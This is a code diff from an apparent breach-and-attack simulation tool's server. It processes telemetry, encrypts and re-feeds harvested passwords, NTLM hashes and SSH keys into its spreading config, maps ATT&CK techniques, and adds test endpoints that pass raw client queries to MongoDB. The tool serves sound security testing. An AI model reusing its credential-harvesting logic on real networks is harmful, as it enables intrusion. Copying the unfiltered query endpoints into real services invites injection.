- def add_ip_to_ssh_keys(ip, ssh_info):
- for key in ssh_info:
- key['ip'] = ip['addr']
-
- @staticmethod
- def process_trace_telemetry(telemetry_json):
- # Nothing to do
- return
-
- @staticmethod
- def replace_user_dot_with_comma(creds):
- for user in creds:
- if -1 != user.find('.'):
- new_user = user.replace('.', ',')
- creds[new_user] = creds.pop(user)
-
- @staticmethod
- def encrypt_system_info_creds(creds):
- for user in creds:
- for field in ['password', 'lm_hash', 'ntlm_hash']:
- if field in creds[user]:
- # this encoding is because we might run into passwords which are not pure ASCII
- creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
-
- @staticmethod
- def encrypt_system_info_ssh_keys(ssh_info):
- for idx, user in enumerate(ssh_info):
- for field in ['public_key', 'private_key', 'known_hosts']:
- if ssh_info[idx][field]:
- ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
-
- @staticmethod
- def add_system_info_creds_to_config(creds):
- for user in creds:
- ConfigService.creds_add_username(user)
- if 'password' in creds[user]:
- ConfigService.creds_add_password(creds[user]['password'])
- if 'lm_hash' in creds[user]:
- ConfigService.creds_add_lm_hash(creds[user]['lm_hash'])
- if 'ntlm_hash' in creds[user]:
- ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
-
- @staticmethod
- def add_system_info_ssh_keys_to_config(ssh_info):
- for user in ssh_info:
- ConfigService.creds_add_username(user['name'])
- # Public key is useless without private key
- if user['public_key'] and user['private_key']:
- ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
- user['name'], user['ip'])
-
- @staticmethod
- def encrypt_exploit_creds(telemetry_json):
- attempts = telemetry_json['data']['attempts']
- for i in range(len(attempts)):
- for field in ['password', 'lm_hash', 'ntlm_hash']:
- credential = attempts[i][field]
- if len(credential) > 0:
- attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
-
- @staticmethod
- def process_post_breach_telemetry(telemetry_json):
- mongo.db.monkey.update(
- {'guid': telemetry_json['monkey_guid']},
- {'$push': {'pba_results': telemetry_json['data']}})
-
-TELEM_PROCESS_DICT = \
- {
- 'tunnel': Telemetry.process_tunnel_telemetry,
- 'state': Telemetry.process_state_telemetry,
- 'exploit': Telemetry.process_exploit_telemetry,
- 'scan': Telemetry.process_scan_telemetry,
- 'system_info_collection': Telemetry.process_system_info_telemetry,
- 'trace': Telemetry.process_trace_telemetry,
- 'post_breach': Telemetry.process_post_breach_telemetry
- }
diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py
index 01fdcc51c..5194361af 100644
--- a/monkey/monkey_island/cc/resources/telemetry_feed.py
+++ b/monkey/monkey_island/cc/resources/telemetry_feed.py
@@ -1,3 +1,4 @@
+import logging
from datetime import datetime
import dateutil
@@ -9,6 +10,8 @@ from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo
from monkey_island.cc.services.node import NodeService
+logger = logging.getLogger(__name__)
+
__author__ = 'itay.mizeretz'
@@ -23,11 +26,15 @@ class TelemetryFeed(flask_restful.Resource):
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
- return \
- {
- 'telemetries': [TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries],
- 'timestamp': datetime.now().isoformat()
- }
+ try:
+ return \
+ {
+ 'telemetries': [TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries if TelemetryFeed],
+ 'timestamp': datetime.now().isoformat()
+ }
+ except KeyError as err:
+ logger.error("Failed parsing telemetries. Error: {0}.".format(err.message))
+ return {'telemetries': [], 'timestamp': datetime.now().isoformat()}
@staticmethod
def get_displayed_telemetry(telem):
@@ -38,9 +45,18 @@ class TelemetryFeed(flask_restful.Resource):
'id': telem['_id'],
'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'),
'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname,
- 'brief': TELEM_PROCESS_DICT[telem['telem_type']](telem)
+ 'brief': TelemetryFeed.get_telem_brief(telem)
}
+ @staticmethod
+ def get_telem_brief(telem):
+ telem_brief_parser = TelemetryFeed.get_telem_brief_parser_by_category(telem['telem_category'])
+ return telem_brief_parser(telem)
+
+ @staticmethod
+ def get_telem_brief_parser_by_category(telem_category):
+ return TELEM_PROCESS_DICT[telem_category]
+
@staticmethod
def get_tunnel_telem_brief(telem):
tunnel = telem['data']['proxy']
@@ -78,13 +94,17 @@ class TelemetryFeed(flask_restful.Resource):
@staticmethod
def get_trace_telem_brief(telem):
- return 'Monkey reached max depth.'
+ return 'Trace: %s' % telem['data']['msg']
@staticmethod
def get_post_breach_telem_brief(telem):
- return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'],
- telem['data']['hostname'],
- telem['data']['ip'])
+ return '%s post breach action executed on %s (%s) machine.' % (telem['data']['name'],
+ telem['data']['hostname'],
+ telem['data']['ip'])
+
+ @staticmethod
+ def should_show_brief(telem):
+ return telem['telem_category'] in TELEM_PROCESS_DICT
TELEM_PROCESS_DICT = \
@@ -93,7 +113,7 @@ TELEM_PROCESS_DICT = \
'state': TelemetryFeed.get_state_telem_brief,
'exploit': TelemetryFeed.get_exploit_telem_brief,
'scan': TelemetryFeed.get_scan_telem_brief,
- 'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief,
+ 'system_info': TelemetryFeed.get_systeminfo_telem_brief,
'trace': TelemetryFeed.get_trace_telem_brief,
'post_breach': TelemetryFeed.get_post_breach_telem_brief
}
diff --git a/monkey/monkey_island/cc/resources/test/__init__.py b/monkey/monkey_island/cc/resources/test/__init__.py
new file mode 100644
index 000000000..28550f830
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/test/__init__.py
@@ -0,0 +1,4 @@
+"""
+This package contains resources used by blackbox tests
+to analize test results, download logs and so on.
+"""
diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/test/log_test.py
new file mode 100644
index 000000000..e592e7214
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/test/log_test.py
@@ -0,0 +1,18 @@
+from bson import json_util
+import flask_restful
+from flask import request
+
+
+from monkey_island.cc.auth import jwt_required
+from monkey_island.cc.database import mongo, database
+
+
+class LogTest(flask_restful.Resource):
+ @jwt_required()
+ def get(self):
+ find_query = json_util.loads(request.args.get('find_query'))
+ log = mongo.db.log.find_one(find_query)
+ if not log:
+ return {'results': None}
+ log_file = database.gridfs.get(log['file_id'])
+ return {'results': log_file.read()}
diff --git a/monkey/monkey_island/cc/resources/test/monkey_test.py b/monkey/monkey_island/cc/resources/test/monkey_test.py
new file mode 100644
index 000000000..100624780
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/test/monkey_test.py
@@ -0,0 +1,13 @@
+from bson import json_util
+import flask_restful
+from flask import request
+
+from monkey_island.cc.auth import jwt_required
+from monkey_island.cc.database import mongo
+
+
+class MonkeyTest(flask_restful.Resource):
+ @jwt_required()
+ def get(self, **kw):
+ find_query = json_util.loads(request.args.get('find_query'))
+ return {'results': list(mongo.db.monkey.find(find_query))}
diff --git a/monkey/monkey_island/cc/services/attack/attack_config.py b/monkey/monkey_island/cc/services/attack/attack_config.py
new file mode 100644
index 000000000..60df09d88
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/attack_config.py
@@ -0,0 +1,175 @@
+import logging
+from dpath import util
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.attack.attack_schema import SCHEMA
+from monkey_island.cc.services.config import ConfigService
+
+__author__ = "VakarisZ"
+
+logger = logging.getLogger(__name__)
+
+
+class AttackConfig(object):
+ def __init__(self):
+ pass
+
+ @staticmethod
+ def get_config():
+ config = mongo.db.attack.find_one({'name': 'newconfig'})
+ return config
+
+ @staticmethod
+ def get_technique(technique_id):
+ """
+ Gets technique by id
+ :param technique_id: E.g. T1210
+ :return: Technique object or None if technique is not found
+ """
+ attack_config = AttackConfig.get_config()
+ for key, attack_type in attack_config['properties'].items():
+ for key, technique in attack_type['properties'].items():
+ if key == technique_id:
+ return technique
+ return None
+
+ @staticmethod
+ def get_config_schema():
+ return SCHEMA
+
+ @staticmethod
+ def reset_config():
+ AttackConfig.update_config(SCHEMA)
+
+ @staticmethod
+ def update_config(config_json):
+ mongo.db.attack.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
+ return True
+
+ @staticmethod
+ def apply_to_monkey_config():
+ """
+ Applies ATT&CK matrix to the monkey configuration
+ :return:
+ """
+ attack_techniques = AttackConfig.get_technique_values()
+ monkey_config = ConfigService.get_config(False, True, True)
+ monkey_schema = ConfigService.get_config_schema()
+ AttackConfig.set_arrays(attack_techniques, monkey_config, monkey_schema)
+ AttackConfig.set_booleans(attack_techniques, monkey_config, monkey_schema)
+ ConfigService.update_config(monkey_config, True)
+
+ @staticmethod
+ def set_arrays(attack_techniques, monkey_config, monkey_schema):
+ """
+ Sets exploiters/scanners/PBAs and other array type fields in monkey's config according to ATT&CK matrix
+ :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
+ :param monkey_config: Monkey island's configuration
+ :param monkey_schema: Monkey configuration schema
+ """
+ for key, definition in monkey_schema['definitions'].items():
+ for array_field in definition['anyOf']:
+ # Check if current array field has attack_techniques assigned to it
+ if 'attack_techniques' in array_field and array_field['attack_techniques']:
+ should_remove = not AttackConfig.should_enable_field(array_field['attack_techniques'],
+ attack_techniques)
+ # If exploiter's attack technique is disabled, disable the exploiter/scanner/PBA
+ AttackConfig.r_alter_array(monkey_config, key, array_field['enum'][0], remove=should_remove)
+
+ @staticmethod
+ def set_booleans(attack_techniques, monkey_config, monkey_schema):
+ """
+ Sets boolean type fields, like "should use mimikatz?" in monkey's config according to ATT&CK matrix
+ :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
+ :param monkey_config: Monkey island's configuration
+ :param monkey_schema: Monkey configuration schema
+ """
+ for key, value in monkey_schema['properties'].items():
+ AttackConfig.r_set_booleans([key], value, attack_techniques, monkey_config)
+
+ @staticmethod
+ def r_set_booleans(path, value, attack_techniques, monkey_config):
+ """
+ Recursively walks trough monkey configuration (DFS) to find which boolean fields needs to be set and sets them
+ according to ATT&CK matrix.
+ :param path: Property names that leads to current value. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
+ :param value: Value of config property
+ :param attack_techniques: ATT&CK techniques dict. Format: {'T1110': True, ...}
+ :param monkey_config: Monkey island's configuration
+ """
+ if isinstance(value, dict):
+ dictionary = {}
+ # If 'value' is a boolean value that should be set:
+ if 'type' in value and value['type'] == 'boolean' \
+ and 'attack_techniques' in value and value['attack_techniques']:
+ AttackConfig.set_bool_conf_val(path,
+ AttackConfig.should_enable_field(value['attack_techniques'],
+ attack_techniques),
+ monkey_config)
+ # If 'value' is dict, we go over each of it's fields to search for booleans
+ elif 'properties' in value:
+ dictionary = value['properties']
+ else:
+ dictionary = value
+ for key, item in dictionary.items():
+ path.append(key)
+ AttackConfig.r_set_booleans(path, item, attack_techniques, monkey_config)
+ # Method enumerated everything in current path, goes back a level.
+ del path[-1]
+
+ @staticmethod
+ def set_bool_conf_val(path, val, monkey_config):
+ """
+ Changes monkey's configuration by setting one of its boolean fields value
+ :param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
+ :param val: Boolean
+ :param monkey_config: Monkey's configuration
+ """
+ util.set(monkey_config, '/'.join(path), val)
+
+ @staticmethod
+ def should_enable_field(field_techniques, users_techniques):
+ """
+ Determines whether a single config field should be enabled or not.
+ :param field_techniques: ATT&CK techniques that field uses
+ :param users_techniques: ATT&CK techniques that user chose
+ :return: True, if user enabled all techniques used by the field, false otherwise
+ """
+ for technique in field_techniques:
+ try:
+ if not users_techniques[technique]:
+ return False
+ except KeyError:
+ logger.error("Attack technique %s is defined in schema, but not implemented." % technique)
+ return True
+
+ @staticmethod
+ def r_alter_array(config_value, array_name, field, remove=True):
+ """
+ Recursively searches config (DFS) for array and removes/adds a field.
+ :param config_value: Some object/value from config
+ :param array_name: Name of array this method should search
+ :param field: Field in array that this method should add/remove
+ :param remove: Removes field from array if true, adds it if false
+ """
+ if isinstance(config_value, dict):
+ if array_name in config_value and isinstance(config_value[array_name], list):
+ if remove and field in config_value[array_name]:
+ config_value[array_name].remove(field)
+ elif not remove and field not in config_value[array_name]:
+ config_value[array_name].append(field)
+ else:
+ for prop in config_value.items():
+ AttackConfig.r_alter_array(prop[1], array_name, field, remove)
+
+ @staticmethod
+ def get_technique_values():
+ """
+ Parses ATT&CK config into a dict of techniques and corresponding values.
+ :return: Dictionary of techniques. Format: {"T1110": True, "T1075": False, ...}
+ """
+ attack_config = AttackConfig.get_config()
+ techniques = {}
+ for type_name, attack_type in attack_config['properties'].items():
+ for key, technique in attack_type['properties'].items():
+ techniques[key] = technique['value']
+ return techniques
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
new file mode 100644
index 000000000..c7457c2f6
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -0,0 +1,102 @@
+import logging
+
+from monkey_island.cc.models import Monkey
+from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
+from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
+from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
+from monkey_island.cc.services.attack.attack_config import AttackConfig
+from monkey_island.cc.database import mongo
+from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report
+
+__author__ = "VakarisZ"
+
+
+LOG = logging.getLogger(__name__)
+
+TECHNIQUES = {'T1210': T1210.T1210,
+ 'T1197': T1197.T1197,
+ 'T1110': T1110.T1110,
+ 'T1075': T1075.T1075,
+ 'T1003': T1003.T1003,
+ 'T1059': T1059.T1059,
+ 'T1086': T1086.T1086,
+ 'T1082': T1082.T1082,
+ 'T1145': T1145.T1145,
+ 'T1065': T1065.T1065,
+ 'T1105': T1105.T1105,
+ 'T1035': T1035.T1035,
+ 'T1129': T1129.T1129,
+ 'T1106': T1106.T1106,
+ 'T1107': T1107.T1107,
+ 'T1188': T1188.T1188,
+ 'T1090': T1090.T1090,
+ 'T1041': T1041.T1041,
+ 'T1222': T1222.T1222,
+ 'T1005': T1005.T1005,
+ 'T1018': T1018.T1018,
+ 'T1016': T1016.T1016,
+ 'T1021': T1021.T1021,
+ 'T1064': T1064.T1064
+ }
+
+REPORT_NAME = 'new_report'
+
+
+class AttackReportService:
+ def __init__(self):
+ pass
+
+ @staticmethod
+ def generate_new_report():
+ """
+ Generates new report based on telemetries, replaces old report in db with new one.
+ :return: Report object
+ """
+ report =\
+ {
+ 'techniques': {},
+ 'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
+ 'name': REPORT_NAME
+ }
+
+ for tech_id, value in AttackConfig.get_technique_values().items():
+ if value:
+ try:
+ report['techniques'].update({tech_id: TECHNIQUES[tech_id].get_report_data()})
+ except KeyError as e:
+ LOG.error("Attack technique does not have it's report component added "
+ "to attack report service. %s" % e)
+ mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True)
+ return report
+
+ @staticmethod
+ def get_latest_attack_telem_time():
+ """
+ Gets timestamp of latest attack telem
+ :return: timestamp of latest attack telem
+ """
+ return [x['timestamp'] for x in mongo.db.telemetry.find({'telem_category': 'attack'}).sort('timestamp', -1).limit(1)][0]
+
+ @staticmethod
+ def get_latest_report():
+ """
+ Gets latest report (by retrieving it from db or generating a new one).
+ :return: report dict.
+ """
+ if AttackReportService.is_report_generated():
+ monkey_modifytime = Monkey.get_latest_modifytime()
+ latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME})
+ report_modifytime = latest_report['meta']['latest_monkey_modifytime']
+ if monkey_modifytime and report_modifytime and monkey_modifytime == report_modifytime:
+ return latest_report
+
+ return safe_generate_attack_report()
+
+ @staticmethod
+ def is_report_generated():
+ """
+ Checks if report is generated
+ :return: True if report exists, False otherwise
+ """
+ generated_report = mongo.db.attack_report.find_one({})
+ return generated_report is not None
diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py
new file mode 100644
index 000000000..c107de7c5
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/attack_schema.py
@@ -0,0 +1,262 @@
+SCHEMA = {
+ "title": "ATT&CK configuration",
+ "type": "object",
+ "properties": {
+ "lateral_movement": {
+ "title": "Lateral movement",
+ "type": "object",
+ "properties": {
+ "T1210": {
+ "title": "T1210 Exploitation of Remote services",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "description": "Exploitation of a software vulnerability occurs when an adversary "
+ "takes advantage of a programming error in a program, service, or within the "
+ "operating system software or kernel itself to execute adversary-controlled code."
+ },
+ "T1075": {
+ "title": "T1075 Pass the hash",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "description": "Pass the hash (PtH) is a method of authenticating as a user without "
+ "having access to the user's cleartext password."
+ },
+ "T1105": {
+ "title": "T1105 Remote file copy",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Files may be copied from one system to another to stage "
+ "adversary tools or other files over the course of an operation."
+ },
+ "T1021": {
+ "title": "T1021 Remote services",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "depends_on": ["T1110"],
+ "description": "An adversary may use Valid Accounts to log into a service"
+ " specifically designed to accept remote connections."
+ }
+ }
+ },
+ "credential_access": {
+ "title": "Credential access",
+ "type": "object",
+ "properties": {
+ "T1110": {
+ "title": "T1110 Brute force",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "description": "Adversaries may use brute force techniques to attempt access to accounts "
+ "when passwords are unknown or when password hashes are obtained.",
+ "depends_on": ["T1210", "T1021"]
+ },
+ "T1003": {
+ "title": "T1003 Credential dumping",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "description": "Mapped with T1078 Valid Accounts because both techniques require"
+ " same credential harvesting modules. "
+ "Credential dumping is the process of obtaining account login and password "
+ "information, normally in the form of a hash or a clear text password, "
+ "from the operating system and software.",
+ "depends_on": ["T1078"]
+ },
+ "T1145": {
+ "title": "T1145 Private keys",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "description": "Adversaries may gather private keys from compromised systems for use in "
+ "authenticating to Remote Services like SSH or for use in decrypting "
+ "other collected files such as email.",
+ "depends_on": ["T1110", "T1210"]
+ }
+ }
+ },
+ "defence_evasion": {
+ "title": "Defence evasion",
+ "type": "object",
+ "properties": {
+ "T1197": {
+ "title": "T1197 BITS jobs",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries may abuse BITS to download, execute, "
+ "and even clean up after running malicious code."
+ },
+ "T1107": {
+ "title": "T1107 File Deletion",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries may remove files over the course of an intrusion "
+ "to keep their footprint low or remove them at the end as part "
+ "of the post-intrusion cleanup process."
+ },
+ "T1222": {
+ "title": "T1222 File permissions modification",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
+ }
+ }
+ },
+ "execution": {
+ "title": "Execution",
+ "type": "object",
+ "properties": {
+ "T1035": {
+ "title": "T1035 Service execution",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "description": "Adversaries may execute a binary, command, or script via a method "
+ "that interacts with Windows services, such as the Service Control Manager.",
+ "depends_on": ["T1210"]
+ },
+ "T1129": {
+ "title": "T1129 Execution through module load",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "description": "The Windows module loader can be instructed to load DLLs from arbitrary "
+ "local paths and arbitrary Universal Naming Convention (UNC) network paths.",
+ "depends_on": ["T1078", "T1003"]
+ },
+ "T1106": {
+ "title": "T1106 Execution through API",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "description": "Adversary tools may directly use the Windows application "
+ "programming interface (API) to execute binaries.",
+ "depends_on": ["T1210"]
+ },
+ "T1059": {
+ "title": "T1059 Command line interface",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries may use command-line interfaces to interact with systems "
+ "and execute other software during the course of an operation.",
+ },
+ "T1086": {
+ "title": "T1086 Powershell",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries can use PowerShell to perform a number of actions,"
+ " including discovery of information and execution of code.",
+ },
+ "T1064": {
+ "title": "T1064 Scripting",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries may use scripts to aid in operations and "
+ "perform multiple actions that would otherwise be manual.",
+ }
+ }
+ },
+ "discovery": {
+ "title": "Discovery",
+ "type": "object",
+ "properties": {
+ "T1082": {
+ "title": "T1082 System information discovery",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "depends_on": ["T1016", "T1005"],
+ "description": "An adversary may attempt to get detailed information about the "
+ "operating system and hardware, including version, patches, hotfixes, "
+ "service packs, and architecture."
+ },
+ "T1018": {
+ "title": "T1018 Remote System Discovery",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries will likely attempt to get a listing of other systems by IP address, "
+ "hostname, or other logical identifier on a network for lateral movement."
+ },
+ "T1016": {
+ "title": "T1016 System network configuration discovery",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "depends_on": ["T1005", "T1082"],
+ "description": "Adversaries will likely look for details about the network configuration "
+ "and settings of systems they access or through information discovery"
+ " of remote systems."
+ }
+ }
+ },
+ "collection": {
+ "title": "Collection",
+ "type": "object",
+ "properties": {
+ "T1005": {
+ "title": "T1005 Data from local system",
+ "type": "bool",
+ "value": True,
+ "necessary": False,
+ "depends_on": ["T1016", "T1082"],
+ "description": "Sensitive data can be collected from local system sources, such as the file system "
+ "or databases of information residing on the system prior to Exfiltration."
+ }
+ }
+ },
+ "command_and_control": {
+ "title": "Command and Control",
+ "type": "object",
+ "properties": {
+ "T1065": {
+ "title": "T1065 Uncommonly used port",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Adversaries may conduct C2 communications over a non-standard "
+ "port to bypass proxies and firewalls that have been improperly configured."
+ },
+ "T1090": {
+ "title": "T1090 Connection proxy",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "A connection proxy is used to direct network traffic between systems "
+ "or act as an intermediary for network communications."
+ },
+ "T1188": {
+ "title": "T1188 Multi-hop proxy",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "To disguise the source of malicious traffic, "
+ "adversaries may chain together multiple proxies."
+ }
+ }
+ },
+ "exfiltration": {
+ "title": "Exfiltration",
+ "type": "object",
+ "properties": {
+ "T1041": {
+ "title": "T1041 Exfiltration Over Command and Control Channel",
+ "type": "bool",
+ "value": True,
+ "necessary": True,
+ "description": "Data exfiltration is performed over the Command and Control channel."
+ }
+ }
+ }
+ }
+}
diff --git a/monkey/monkey_island/cc/services/attack/attack_telem.py b/monkey/monkey_island/cc/services/attack/attack_telem.py
deleted file mode 100644
index a4e219270..000000000
--- a/monkey/monkey_island/cc/services/attack/attack_telem.py
+++ /dev/null
@@ -1,19 +0,0 @@
-"""
-File that contains ATT&CK telemetry storing/retrieving logic
-"""
-import logging
-from monkey_island.cc.database import mongo
-
-__author__ = "VakarisZ"
-
-logger = logging.getLogger(__name__)
-
-
-def set_results(technique, data):
- """
- Adds ATT&CK technique results(telemetry) to the database
- :param technique: technique ID string e.g. T1110
- :param data: Data, relevant to the technique
- """
- data.update({'technique': technique})
- mongo.db.attack_results.insert(data)
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
new file mode 100644
index 000000000..2b49f264d
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -0,0 +1,27 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1003(AttackTechnique):
+
+ tech_id = "T1003"
+ unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
+ scanned_msg = ""
+ used_msg = "Monkey successfully obtained some credentials from systems on the network."
+
+ query = {'telem_category': 'system_info', '$and': [{'data.credentials': {'$exists': True}},
+ # $gt: {} checks if field is not an empty object
+ {'data.credentials': {'$gt': {}}}]}
+
+ @staticmethod
+ def get_report_data():
+ data = {'title': T1003.technique_title()}
+ if mongo.db.telemetry.count_documents(T1003.query):
+ status = ScanStatus.USED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data.update(T1003.get_message_and_status(status))
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
new file mode 100644
index 000000000..b84fe4a6f
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
@@ -0,0 +1,34 @@
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1005(AttackTechnique):
+
+ tech_id = "T1005"
+ unscanned_msg = "Monkey didn't gather any sensitive data from local system."
+ scanned_msg = ""
+ used_msg = "Monkey successfully gathered sensitive data from local system."
+
+ query = [{'$match': {'telem_category': 'attack',
+ 'data.technique': tech_id}},
+ {'$lookup': {'from': 'monkey',
+ 'localField': 'monkey_guid',
+ 'foreignField': 'guid',
+ 'as': 'monkey'}},
+ {'$project': {'monkey': {'$arrayElemAt': ['$monkey', 0]},
+ 'status': '$data.status',
+ 'gathered_data_type': '$data.gathered_data_type',
+ 'info': '$data.info'}},
+ {'$addFields': {'_id': 0,
+ 'machine': {'hostname': '$monkey.hostname', 'ips': '$monkey.ip_addresses'},
+ 'monkey': 0}},
+ {'$group': {'_id': {'machine': '$machine', 'gathered_data_type': '$gathered_data_type', 'info': '$info'}}},
+ {"$replaceRoot": {"newRoot": "$_id"}}]
+
+ @staticmethod
+ def get_report_data():
+ data = T1005.get_tech_base_data()
+ data.update({'collected_data': list(mongo.db.telemetry.aggregate(T1005.query))})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
new file mode 100644
index 000000000..43d7c42b0
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
@@ -0,0 +1,35 @@
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1016(AttackTechnique):
+
+ tech_id = "T1016"
+ unscanned_msg = "Monkey didn't gather network configurations."
+ scanned_msg = ""
+ used_msg = "Monkey gathered network configurations on systems in the network."
+
+ query = [{'$match': {'telem_category': 'system_info'}},
+ {'$project': {'machine': {'hostname': '$data.hostname', 'ips': '$data.network_info.networks'},
+ 'networks': '$data.network_info.networks',
+ 'netstat': '$data.network_info.netstat'}},
+ {'$addFields': {'_id': 0,
+ 'netstat': 0,
+ 'networks': 0,
+ 'info': [
+ {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$netstat', {}]}]},
+ 'name': {'$literal': 'Network connections (netstat)'}},
+ {'used': {'$and': [{'$ifNull': ['$networks', False]}, {'$gt': ['$networks', {}]}]},
+ 'name': {'$literal': 'Network interface info'}},
+ ]}}]
+
+ @staticmethod
+ def get_report_data():
+ network_info = list(mongo.db.telemetry.aggregate(T1016.query))
+ status = ScanStatus.USED.value if network_info else ScanStatus.UNSCANNED.value
+ data = T1016.get_base_data_by_status(status)
+ data.update({'network_info': network_info})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
new file mode 100644
index 000000000..a955f6cc9
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
@@ -0,0 +1,39 @@
+from common.utils.attack_utils import ScanStatus
+from monkey_island.cc.services.attack.technique_reports import AttackTechnique
+from monkey_island.cc.database import mongo
+
+__author__ = "VakarisZ"
+
+
+class T1018(AttackTechnique):
+
+ tech_id = "T1018"
+ unscanned_msg = "Monkey didn't find any machines on the network."
+ scanned_msg = ""
+ used_msg = "Monkey found machines on the network."
+
+ query = [{'$match': {'telem_category': 'scan'}},
+ {'$sort': {'timestamp': 1}},
+ {'$group': {'_id': {'monkey_guid': '$monkey_guid'},
+ 'machines': {'$addToSet': '$data.machine'},
+ 'started': {'$first': '$timestamp'},
+ 'finished': {'$last': '$timestamp'}}},
+ {'$lookup': {'from': 'monkey',
+ 'localField': '_id.monkey_guid',
+ 'foreignField': 'guid',
+ 'as': 'monkey_tmp'}},
+ {'$addFields': {'_id': 0, 'monkey_tmp': {'$arrayElemAt': ['$monkey_tmp', 0]}}},
+ {'$addFields': {'monkey': {'hostname': '$monkey_tmp.hostname',
+ 'ips': '$monkey_tmp.ip_addresses'},
+ 'monkey_tmp': 0}}]
+
+ @staticmethod
+ def get_report_data():
+ scan_info = list(mongo.db.telemetry.aggregate(T1018.query))
+ if scan_info:
+ status = ScanStatus.USED.value
+ else:
+ status = ScanStatus.UNSCANNED.value
+ data = T1018.get_base_data_by_status(status)
+ data.update({'scan_info': scan_info})
+ return data
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
new file mode 100644
index 000000000..d22583359
--- /dev/null
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
